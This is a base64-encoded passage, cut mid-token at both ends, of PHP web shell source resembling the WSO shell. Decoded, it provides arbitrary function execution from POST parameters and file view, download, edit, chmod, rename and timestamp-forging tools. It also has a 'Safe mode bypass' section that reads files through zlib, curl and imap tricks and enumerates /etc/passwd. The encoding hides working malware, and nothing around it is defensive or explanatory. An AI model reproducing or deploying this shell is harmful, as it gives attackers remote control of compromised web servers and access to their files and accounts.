nRvdXBwZXIoJHIpO319CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkKICAgICAgICAgICAgZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsKICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICAkc3RyaW5nVG9vbHMgPSBhcnJheSgKICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCiAgICAgICAgJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLAogICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCiAgICAgICAgJ21kNSBoYXNoJyA9PiAnbWQ1JywKICAgICAgICAnc2hhMSBoYXNoJyA9PiAnc2hhMScsCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLAogICAgICAgICdDUkMzMicgPT4gJ2NyYzMyJywKICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKICAgICAgICAnSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywKICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCiAgICAgICAgJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLAogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluMmhleCcsCiAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAgICAgICAgCiAgICAgICAgJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsCiAgICAgICAgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKICAgICAgICAnU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsCiAgICApOwogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogICAgZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7CiAgICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsKICAgIH0KICAgIGVjaG8iPC9wcmU+PC9kaXY+IjsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCiAgICAgICAgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CiAgICAgICAgaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kdHlwZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkKICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZihpc19kaXIoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgogICAgICAgIH0KICAgICAgICBleGl0OwogICAgfQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CiAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsKICAgIGVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwogICAgaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsKICAgIGlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQogICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGVsc2UKICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGZvcmVhY2goJG0gYXMgJHYpCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKICAgIGVjaG8gJzxicj48YnI+JzsKICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKICAgICAgICBjYXNlICd2aWV3JzoKICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOwogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jcmVkPjx0cj48dGQgYmdjb2xvcj1yZWQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSNyZWQ+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSNyZWQ+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3RvdWNoJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZhaWwhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbWtmaWxlJzoKICAgICAgICAgICAgCiAgICAgICAgICAgIGJyZWFrOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgewogICAgJHRlbXA9Jyc7CiAgICBvYl9zdGFydCgpOwogICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgewogICAgICAgIGNhc2UgMToKICAgICAgICAgICAgJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOwogICAgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpewogICAgICAgICAgICAgICAgZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOwogICAgICAgICAgICAgICAgdW5saW5rKCR0ZW1wKTsKICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICBlY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAyOgogICAgICAgICAgICAkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOwogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSApCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGZpbGVuYW1lLiJcbiI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgMzoKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLlNFTEZfUEFUSCk7CiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDQ6CiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKICAgICAgICAgICAgaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOwogICAgICAgICAgICBpbmNsdWRlKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNToKICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICBpZiAoJHVpZCkKICAgICAgICAgICAgICAgICAgICBlY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA2OgogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsKICAgICAgICAgICAgJHN0cmVhbSA9IGltYXBfb3BlbigkX1BPU1RbJ3AyJ10sICIiLCAiIik7CiAgICAgICAgICAgIGlmICgkc3RyZWFtID09IEZBTFNFKQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGVjaG8gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOwogICAgICAgICAgICBpbWFwX2Nsb3NlKCRzdHJlYW0pOwogICAgICAgICAgICBicmVhazsKICAgIH0KICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PGJyPjxzcGFuPkltYXBfb3BlbiAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI2Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgaWYoJHRlbX